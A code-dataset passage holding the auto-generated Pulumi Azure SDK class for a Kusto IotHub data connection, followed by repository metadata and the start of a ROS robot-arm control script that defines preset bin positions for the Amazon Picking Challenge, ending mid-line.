@iothub_id.setter def iothub_id(self, value: pulumi.Input[str]): pulumi.set(self, "iothub_id", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Input[str]: """ Specifies the Resource Group where the Kusto Database should exist. Changing this forces a new resource to be created. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter(name="sharedAccessPolicyName") def shared_access_policy_name(self) -> pulumi.Input[str]: """ Specifies the IotHub Shared Access Policy this data connection will use for ingestion, which must have read permission. Changing this forces a new resource to be created. """ return pulumi.get(self, "shared_access_policy_name") @shared_access_policy_name.setter def shared_access_policy_name(self, value: pulumi.Input[str]): pulumi.set(self, "shared_access_policy_name", value) @property @pulumi.getter(name="eventSystemProperties") def event_system_properties(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Specifies the System Properties that each IoT Hub message should contain. Changing this forces a new resource to be created. """ return pulumi.get(self, "event_system_properties") @event_system_properties.setter def event_system_properties(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "event_system_properties", value) @property @pulumi.getter def location(self) -> Optional[pulumi.Input[str]]: """ The location where the Kusto Database should be created. Changing this forces a new resource to be created. """ return pulumi.get(self, "location") @location.setter def location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "location", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the Kusto IotHub Data Connection to create. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @pulumi.input_type class _IotHubDataConnectionState: def __init__(__self__, *, cluster_name: Optional[pulumi.Input[str]] = None, consumer_group: Optional[pulumi.Input[str]] = None, database_name: Optional[pulumi.Input[str]] = None, event_system_properties: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, iothub_id: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, shared_access_policy_name: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering IotHubDataConnection resources. :param pulumi.Input[str] cluster_name: Specifies the name of the Kusto Cluster this data connection will be added to. Changing this forces a new resource to be created. :param pulumi.Input[str] consumer_group: Specifies the IotHub consumer group this data connection will use for ingestion. Changing this forces a new resource to be created. :param pulumi.Input[str] database_name: Specifies the name of the Kusto Database this data connection will be added to. Changing this forces a new resource to be created. :param pulumi.Input[Sequence[pulumi.Input[str]]] event_system_properties: Specifies the System Properties that each IoT Hub message should contain. Changing this forces a new resource to be created. :param pulumi.Input[str] iothub_id: Specifies the resource id of the IotHub this data connection will use for ingestion. Changing this forces a new resource to be created. :param pulumi.Input[str] location: The location where the Kusto Database should be created. Changing this forces a new resource to be created. :param pulumi.Input[str] name: The name of the Kusto IotHub Data Connection to create. Changing this forces a new resource to be created. :param pulumi.Input[str] resource_group_name: Specifies the Resource Group where the Kusto Database should exist. Changing this forces a new resource to be created. :param pulumi.Input[str] shared_access_policy_name: Specifies the IotHub Shared Access Policy this data connection will use for ingestion, which must have read permission. Changing this forces a new resource to be created. """ if cluster_name is not None: pulumi.set(__self__, "cluster_name", cluster_name) if consumer_group is not None: pulumi.set(__self__, "consumer_group", consumer_group) if database_name is not None: pulumi.set(__self__, "database_name", database_name) if event_system_properties is not None: pulumi.set(__self__, "event_system_properties", event_system_properties) if iothub_id is not None: pulumi.set(__self__, "iothub_id", iothub_id) if location is not None: pulumi.set(__self__, "location", location) if name is not None: pulumi.set(__self__, "name", name) if resource_group_name is not None: pulumi.set(__self__, "resource_group_name", resource_group_name) if shared_access_policy_name is not None: pulumi.set(__self__, "shared_access_policy_name", shared_access_policy_name) @property @pulumi.getter(name="clusterName") def cluster_name(self) -> Optional[pulumi.Input[str]]: """ Specifies the name of the Kusto Cluster this data connection will be added to. Changing this forces a new resource to be created. """ return pulumi.get(self, "cluster_name") @cluster_name.setter def cluster_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cluster_name", value) @property @pulumi.getter(name="consumerGroup") def consumer_group(self) -> Optional[pulumi.Input[str]]: """ Specifies the IotHub consumer group this data connection will use for ingestion. Changing this forces a new resource to be created. """ return pulumi.get(self, "consumer_group") @consumer_group.setter def consumer_group(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "consumer_group", value) @property @pulumi.getter(name="databaseName") def database_name(self) -> Optional[pulumi.Input[str]]: """ Specifies the name of the Kusto Database this data connection will be added to. Changing this forces a new resource to be created. """ return pulumi.get(self, "database_name") @database_name.setter def database_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "database_name", value) @property @pulumi.getter(name="eventSystemProperties") def event_system_properties(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Specifies the System Properties that each IoT Hub message should contain. Changing this forces a new resource to be created. """ return pulumi.get(self, "event_system_properties") @event_system_properties.setter def event_system_properties(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "event_system_properties", value) @property @pulumi.getter(name="iothubId") def iothub_id(self) -> Optional[pulumi.Input[str]]: """ Specifies the resource id of the IotHub this data connection will use for ingestion. Changing this forces a new resource to be created. """ return pulumi.get(self, "iothub_id") @iothub_id.setter def iothub_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "iothub_id", value) @property @pulumi.getter def location(self) -> Optional[pulumi.Input[str]]: """ The location where the Kusto Database should be created. Changing this forces a new resource to be created. """ return pulumi.get(self, "location") @location.setter def location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "location", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the Kusto IotHub Data Connection to create. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> Optional[pulumi.Input[str]]: """ Specifies the Resource Group where the Kusto Database should exist. Changing this forces a new resource to be created. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter(name="sharedAccessPolicyName") def shared_access_policy_name(self) -> Optional[pulumi.Input[str]]: """ Specifies the IotHub Shared Access Policy this data connection will use for ingestion, which must have read permission. Changing this forces a new resource to be created. """ return pulumi.get(self, "shared_access_policy_name") @shared_access_policy_name.setter def shared_access_policy_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "shared_access_policy_name", value) class IotHubDataConnection(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, cluster_name: Optional[pulumi.Input[str]] = None, consumer_group: Optional[pulumi.Input[str]] = None, database_name: Optional[pulumi.Input[str]] = None, event_system_properties: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, iothub_id: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, shared_access_policy_name: Optional[pulumi.Input[str]] = None, __props__=None): """ Manages a Kusto (also known as Azure Data Explorer) IotHub Data Connection ## Example Usage ```python import pulumi import pulumi_azure as azure example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe") example_cluster = azure.kusto.Cluster("exampleCluster", location=example_resource_group.location, resource_group_name=example_resource_group.name, sku=azure.kusto.ClusterSkuArgs( name="Standard_D13_v2", capacity=2, )) example_database = azure.kusto.Database("exampleDatabase", resource_group_name=example_resource_group.name, location=example_resource_group.location, cluster_name=example_cluster.name, hot_cache_period="P7D", soft_delete_period="P31D") example_io_t_hub = azure.iot.IoTHub("exampleIoTHub", resource_group_name=example_resource_group.name, location=example_resource_group.location, sku=azure.iot.IoTHubSkuArgs( name="B1", capacity=1, )) example_shared_access_policy = azure.iot.SharedAccessPolicy("exampleSharedAccessPolicy", resource_group_name=example_resource_group.name, iothub_name=example_io_t_hub.name, registry_read=True) example_consumer_group = azure.iot.ConsumerGroup("exampleConsumerGroup", resource_group_name=example_resource_group.name, iothub_name=example_io_t_hub.name, eventhub_endpoint_name="events") example_iot_hub_data_connection = azure.kusto.IotHubDataConnection("exampleIotHubDataConnection", resource_group_name=example_resource_group.name, location=example_resource_group.location, cluster_name=example_cluster.name, database_name=example_database.name, iothub_id=example_io_t_hub.id, consumer_group=example_consumer_group.name, shared_access_policy_name=example_shared_access_policy.name, event_system_properties=[ "message-id", "sequence-number", "to", ]) ``` ## Import Kusto IotHub Data Connections can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:kusto/iotHubDataConnection:IotHubDataConnection example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/group1/providers/Microsoft.Kusto/Clusters/cluster1/Databases/database1/DataConnections/dataConnection1 ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] cluster_name: Specifies the name of the Kusto Cluster this data connection will be added to. Changing this forces a new resource to be created. :param pulumi.Input[str] consumer_group: Specifies the IotHub consumer group this data connection will use for ingestion. Changing this forces a new resource to be created. :param pulumi.Input[str] database_name: Specifies the name of the Kusto Database this data connection will be added to. Changing this forces a new resource to be created. :param pulumi.Input[Sequence[pulumi.Input[str]]] event_system_properties: Specifies the System Properties that each IoT Hub message should contain. Changing this forces a new resource to be created. :param pulumi.Input[str] iothub_id: Specifies the resource id of the IotHub this data connection will use for ingestion. Changing this forces a new resource to be created. :param pulumi.Input[str] location: The location where the Kusto Database should be created. Changing this forces a new resource to be created. :param pulumi.Input[str] name: The name of the Kusto IotHub Data Connection to create. Changing this forces a new resource to be created. :param pulumi.Input[str] resource_group_name: Specifies the Resource Group where the Kusto Database should exist. Changing this forces a new resource to be created. :param pulumi.Input[str] shared_access_policy_name: Specifies the IotHub Shared Access Policy this data connection will use for ingestion, which must have read permission. Changing this forces a new resource to be created. """ ... @overload def __init__(__self__, resource_name: str, args: IotHubDataConnectionArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Manages a Kusto (also known as Azure Data Explorer) IotHub Data Connection ## Example Usage ```python import pulumi import pulumi_azure as azure example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe") example_cluster = azure.kusto.Cluster("exampleCluster", location=example_resource_group.location, resource_group_name=example_resource_group.name, sku=azure.kusto.ClusterSkuArgs( name="Standard_D13_v2", capacity=2, )) example_database = azure.kusto.Database("exampleDatabase", resource_group_name=example_resource_group.name, location=example_resource_group.location, cluster_name=example_cluster.name, hot_cache_period="P7D", soft_delete_period="P31D") example_io_t_hub = azure.iot.IoTHub("exampleIoTHub", resource_group_name=example_resource_group.name, location=example_resource_group.location, sku=azure.iot.IoTHubSkuArgs( name="B1", capacity=1, )) example_shared_access_policy = azure.iot.SharedAccessPolicy("exampleSharedAccessPolicy", resource_group_name=example_resource_group.name, iothub_name=example_io_t_hub.name, registry_read=True) example_consumer_group = azure.iot.ConsumerGroup("exampleConsumerGroup", resource_group_name=example_resource_group.name, iothub_name=example_io_t_hub.name, eventhub_endpoint_name="events") example_iot_hub_data_connection = azure.kusto.IotHubDataConnection("exampleIotHubDataConnection", resource_group_name=example_resource_group.name, location=example_resource_group.location, cluster_name=example_cluster.name, database_name=example_database.name, iothub_id=example_io_t_hub.id, consumer_group=example_consumer_group.name, shared_access_policy_name=example_shared_access_policy.name, event_system_properties=[ "message-id", "sequence-number", "to", ]) ``` ## Import Kusto IotHub Data Connections can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:kusto/iotHubDataConnection:IotHubDataConnection example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/group1/providers/Microsoft.Kusto/Clusters/cluster1/Databases/database1/DataConnections/dataConnection1 ``` :param str resource_name: The name of the resource. :param IotHubDataConnectionArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(IotHubDataConnectionArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, cluster_name: Optional[pulumi.Input[str]] = None, consumer_group: Optional[pulumi.Input[str]] = None, database_name: Optional[pulumi.Input[str]] = None, event_system_properties: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, iothub_id: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, shared_access_policy_name: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = IotHubDataConnectionArgs.__new__(IotHubDataConnectionArgs) if cluster_name is None and not opts.urn: raise TypeError("Missing required property 'cluster_name'") __props__.__dict__["cluster_name"] = cluster_name if consumer_group is None and not opts.urn: raise TypeError("Missing required property 'consumer_group'") __props__.__dict__["consumer_group"] = consumer_group if database_name is None and not opts.urn: raise TypeError("Missing required property 'database_name'") __props__.__dict__["database_name"] = database_name __props__.__dict__["event_system_properties"] = event_system_properties if iothub_id is None and not opts.urn: raise TypeError("Missing required property 'iothub_id'") __props__.__dict__["iothub_id"] = iothub_id __props__.__dict__["location"] = location __props__.__dict__["name"] = name if resource_group_name is None and not opts.urn: raise TypeError("Missing required property 'resource_group_name'") __props__.__dict__["resource_group_name"] = resource_group_name if shared_access_policy_name is None and not opts.urn: raise TypeError("Missing required property 'shared_access_policy_name'") __props__.__dict__["shared_access_policy_name"] = shared_access_policy_name super(IotHubDataConnection, __self__).__init__( 'azure:kusto/iotHubDataConnection:IotHubDataConnection', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, cluster_name: Optional[pulumi.Input[str]] = None, consumer_group: Optional[pulumi.Input[str]] = None, database_name: Optional[pulumi.Input[str]] = None, event_system_properties: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, iothub_id: Optional[pulumi.Input[str]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, shared_access_policy_name: Optional[pulumi.Input[str]] = None) -> 'IotHubDataConnection': """ Get an existing IotHubDataConnection resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] cluster_name: Specifies the name of the Kusto Cluster this data connection will be added to. Changing this forces a new resource to be created. :param pulumi.Input[str] consumer_group: Specifies the IotHub consumer group this data connection will use for ingestion. Changing this forces a new resource to be created. :param pulumi.Input[str] database_name: Specifies the name of the Kusto Database this data connection will be added to. Changing this forces a new resource to be created. :param pulumi.Input[Sequence[pulumi.Input[str]]] event_system_properties: Specifies the System Properties that each IoT Hub message should contain. Changing this forces a new resource to be created. :param pulumi.Input[str] iothub_id: Specifies the resource id of the IotHub this data connection will use for ingestion. Changing this forces a new resource to be created. :param pulumi.Input[str] location: The location where the Kusto Database should be created. Changing this forces a new resource to be created. :param pulumi.Input[str] name: The name of the Kusto IotHub Data Connection to create. Changing this forces a new resource to be created. :param pulumi.Input[str] resource_group_name: Specifies the Resource Group where the Kusto Database should exist. Changing this forces a new resource to be created. :param pulumi.Input[str] shared_access_policy_name: Specifies the IotHub Shared Access Policy this data connection will use for ingestion, which must have read permission. Changing this forces a new resource to be created. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _IotHubDataConnectionState.__new__(_IotHubDataConnectionState) __props__.__dict__["cluster_name"] = cluster_name __props__.__dict__["consumer_group"] = consumer_group __props__.__dict__["database_name"] = database_name __props__.__dict__["event_system_properties"] = event_system_properties __props__.__dict__["iothub_id"] = iothub_id __props__.__dict__["location"] = location __props__.__dict__["name"] = name __props__.__dict__["resource_group_name"] = resource_group_name __props__.__dict__["shared_access_policy_name"] = shared_access_policy_name return IotHubDataConnection(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="clusterName") def cluster_name(self) -> pulumi.Output[str]: """ Specifies the name of the Kusto Cluster this data connection will be added to. Changing this forces a new resource to be created. """ return pulumi.get(self, "cluster_name") @property @pulumi.getter(name="consumerGroup") def consumer_group(self) -> pulumi.Output[str]: """ Specifies the IotHub consumer group this data connection will use for ingestion. Changing this forces a new resource to be created. """ return pulumi.get(self, "consumer_group") @property @pulumi.getter(name="databaseName") def database_name(self) -> pulumi.Output[str]: """ Specifies the name of the Kusto Database this data connection will be added to. Changing this forces a new resource to be created. """ return pulumi.get(self, "database_name") @property @pulumi.getter(name="eventSystemProperties") def event_system_properties(self) -> pulumi.Output[Optional[Sequence[str]]]: """ Specifies the System Properties that each IoT Hub message should contain. Changing this forces a new resource to be created. """ return pulumi.get(self, "event_system_properties") @property @pulumi.getter(name="iothubId") def iothub_id(self) -> pulumi.Output[str]: """ Specifies the resource id of the IotHub this data connection will use for ingestion. Changing this forces a new resource to be created. """ return pulumi.get(self, "iothub_id") @property @pulumi.getter def location(self) -> pulumi.Output[str]: """ The location where the Kusto Database should be created. Changing this forces a new resource to be created. """ return pulumi.get(self, "location") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The name of the Kusto IotHub Data Connection to create. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Output[str]: """ Specifies the Resource Group where the Kusto Database should exist. Changing this forces a new resource to be created. """ return pulumi.get(self, "resource_group_name") @property @pulumi.getter(name="sharedAccessPolicyName") def shared_access_policy_name(self) -> pulumi.Output[str]: """ Specifies the IotHub Shared Access Policy this data connection will use for ingestion, which must have read permission. Changing this forces a new resource to be created. """ return pulumi.get(self, "shared_access_policy_name")

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645

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52.234109

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1

0

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0

7

f787a30d0d26df2b3eeed001487cdcfeea9cd5e0

44,533

py

Python

script/arm_control.py

amazon-picking-challenge/team_pfn

2f76524b067d816d8407f6c4fae4e6d33939c024

[ "Apache-2.0" ]

7

2016-09-04T02:07:04.000Z

2017-05-25T02:31:07.000Z

script/arm_control.py

amazon-picking-challenge/team_pfn

2f76524b067d816d8407f6c4fae4e6d33939c024

[ "Apache-2.0" ]

null

script/arm_control.py

amazon-picking-challenge/team_pfn

2f76524b067d816d8407f6c4fae4e6d33939c024

[ "Apache-2.0" ]

null

#!/usr/bin/env python # Copyright 2016 Preferred Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import numpy as np import rospy from std_msgs.msg import String from std_msgs.msg import Bool from std_msgs.msg import Int16 from geometry_msgs.msg import Twist, Vector3, Point from std_srvs.srv import Empty import time import random import math import roslib import actionlib from actionlib_msgs.msg import GoalStatus from apc2016.msg import * from apc2016.srv import * import util class LeftRight_arm: def __init__(self, lr, w0=480, h0=360, with_vac=True): #lr=('left' or 'right') rospy.loginfo("initialising %s arm" % lr) self.pub = rospy.Publisher( lr+'_state', String , queue_size = 10, latch=True) msg = String() #msg.data = "workspace" #self.pub.publish(msg) # calc_x: 1235, -207, 559 # tool_x: 790, -231, 515 #self.hosei = np.asarray([790-1235+30,(-231)-(-207),515-559+0,0,0,0]) # calc_x: 494, -181, 913 # tool_x: 666, -29, 415 self.hosei = np.asarray([666-494,(-29)-(-181),415-913+0,0,0,0]) self.lr = lr lr_offset = 0 lr_roll = 0 lr_yaw = 0 if lr == 'right': lr_offset = 0 # lr_roll = -180 # lr_yaw = -360 self.preset_position = {} dy = [0, -280, -560] # dz = [0, -250, -480, -730] dz = [0, -265, -494, -723] # 72 if lr == 'left': self.preset_position["bin_A_photo"] = np.asarray([775+0-50,lr_offset-102-20,690,180,-20,179.9])#-170]) else: self.preset_position["bin_A_photo"] = np.asarray([775+50,lr_offset-102-20,720,180,-20,0])#-170]) self.preset_position["bin_B_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[1], dz[0], 0, 0, 0]) self.preset_position["bin_C_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[2], dz[0], 0, 0, 0]) self.preset_position["bin_D_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[0], dz[1], 0, 0, 0]) self.preset_position["bin_E_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[1], dz[1], 0, 0, 0]) self.preset_position["bin_F_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[2], dz[1], 0, 0, 0]) self.preset_position["bin_G_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[0], dz[2], 0, 0, 0]) self.preset_position["bin_H_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[1], dz[2], 0, 0, 0]) self.preset_position["bin_I_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[2], dz[2], 0, 0, 0]) self.preset_position["bin_J_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[0], dz[3], 0, 0, 0]) self.preset_position["bin_K_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[1], dz[3], 0, 0, 0]) self.preset_position["bin_L_photo"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[2], dz[3], 0, 0, 0]) if lr == 'left': self.preset_position["bin_A_photo_r"] = np.asarray([810-50,lr_offset-356,690,180,-20,-160]) else: self.preset_position["bin_A_photo_r"] = np.asarray([810,lr_offset-356,720,180,-20,20]) self.preset_position["bin_B_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[1], dz[0], 0, 0, 0]) self.preset_position["bin_C_photo_r"] = self.preset_position["bin_A_photo"] + np.asarray([0, dy[2], dz[0], 0, 0, -350]) self.preset_position["bin_D_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[0], dz[1], 0, 0, 0]) self.preset_position["bin_E_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[1], dz[1], 0, 0, 0]) self.preset_position["bin_F_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[2], dz[1], 0, 0, 0]) self.preset_position["bin_G_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[0], dz[2], 0, 0, 0]) self.preset_position["bin_H_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[1], dz[2], 0, 0, 0]) self.preset_position["bin_I_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[2], dz[2], 0, 0, 0]) self.preset_position["bin_J_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[0], dz[3], 0, 0, 0]) self.preset_position["bin_K_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[1], dz[3], 0, 0, 0]) self.preset_position["bin_L_photo_r"] = self.preset_position["bin_A_photo_r"] + np.asarray([0, dy[2], dz[3], 0, 0, 0]) if lr == 'left': self.preset_position["bin_A_photo_l"] = np.asarray([810-50,lr_offset+114,690,180,-20,160]) else: self.preset_position["bin_A_photo_l"] = np.asarray([810,lr_offset+154,720,180,-20,-20]) self.preset_position["bin_B_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[1], dz[0], 0, 0, 0]) self.preset_position["bin_C_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[2], dz[0], 0, 0, 0]) self.preset_position["bin_D_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[0], dz[1], 0, 0, 0]) self.preset_position["bin_E_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[1], dz[1], 0, 0, 0]) self.preset_position["bin_F_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[2], dz[1], 0, 0, 0]) self.preset_position["bin_G_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[0], dz[2], 0, 0, 0]) self.preset_position["bin_H_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[1], dz[2], 0, 0, 0]) self.preset_position["bin_I_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[2], dz[2], 0, 0, 0]) self.preset_position["bin_J_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[0], dz[3], 0, 0, 0]) self.preset_position["bin_K_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[1], dz[3], 0, 0, 0]) self.preset_position["bin_L_photo_l"] = self.preset_position["bin_A_photo_l"] + np.asarray([0, dy[2], dz[3], 0, 0, 0]) self.preset_position["bin_A_pre"] = np.asarray([550,lr_offset-102,713,180+lr_yaw,-0.1,179.9+lr_roll]) self.preset_position["bin_B_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[1], dz[0], 0, 0, 0]) self.preset_position["bin_C_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[2], dz[0], 0, 0, 0]) self.preset_position["bin_D_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[0], dz[1], 0, 0, 0]) self.preset_position["bin_E_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[1], dz[1], 0, 0, 0]) self.preset_position["bin_F_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[2], dz[1], 0, 0, 0]) self.preset_position["bin_G_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[0], dz[2], 0, 0, 0]) self.preset_position["bin_H_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[1], dz[2], 0, 0, 0]) self.preset_position["bin_I_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[2], dz[2], 0, 0, 0]) self.preset_position["bin_J_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[0], dz[3], 0, 0, 0]) self.preset_position["bin_K_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[1], dz[3], 0, 0, 0]) self.preset_position["bin_L_pre"] = self.preset_position["bin_A_pre"] + np.asarray([0, dy[2], dz[3], 0, 0, 0]) self.preset_position["bin_A_rpre"] = np.asarray([550,lr_offset-102,713, -180, 0, 0]) self.preset_position["bin_B_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[1], dz[0], 0, 0, 0]) self.preset_position["bin_C_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[2], dz[0], 0, 0, 0]) self.preset_position["bin_D_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[0], dz[1], 0, 0, 0]) self.preset_position["bin_E_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[1], dz[1], 0, 0, 0]) self.preset_position["bin_F_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[2], dz[1], 0, 0, 0]) self.preset_position["bin_G_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[0], dz[2], 0, 0, 0]) self.preset_position["bin_H_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[1], dz[2], 0, 0, 0]) self.preset_position["bin_I_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[2], dz[2], 0, 0, 0]) self.preset_position["bin_J_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[0], dz[3], 0, 0, 0]) self.preset_position["bin_K_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[1], dz[3], 0, 0, 0]) self.preset_position["bin_L_rpre"] = self.preset_position["bin_A_rpre"] + np.asarray([0, dy[2], dz[3], 0, 0, 0]) self.preset_position["bin_A_front"] = np.asarray([432,lr_offset-87,483,90,-90,90]) self.preset_position["bin_B_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[1], dz[0], 0, 0, 0]) self.preset_position["bin_C_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[2], dz[0], 0, 0, 0]) self.preset_position["bin_D_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[0], dz[1], 0, 0, 0]) self.preset_position["bin_E_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[1], dz[1], 0, 0, 0]) self.preset_position["bin_F_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[2], dz[1], 0, 0, 0]) self.preset_position["bin_G_front"] = self.preset_position["bin_A_front"] + np.asarray([50, dy[0], dz[2], 0, 0, 0]) self.preset_position["bin_H_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[1], dz[2], 0, 0, 0]) self.preset_position["bin_I_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[2], dz[2], 0, 0, 0]) self.preset_position["bin_J_front"] = self.preset_position["bin_A_front"] + np.asarray([50, dy[0], dz[3], 0, 0, 0]) self.preset_position["bin_K_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[1], dz[3], 0, 0, 0]) self.preset_position["bin_L_front"] = self.preset_position["bin_A_front"] + np.asarray([0, dy[2], dz[3], 0, 0, 0]) self.preset_position["bin_A_pull"] = 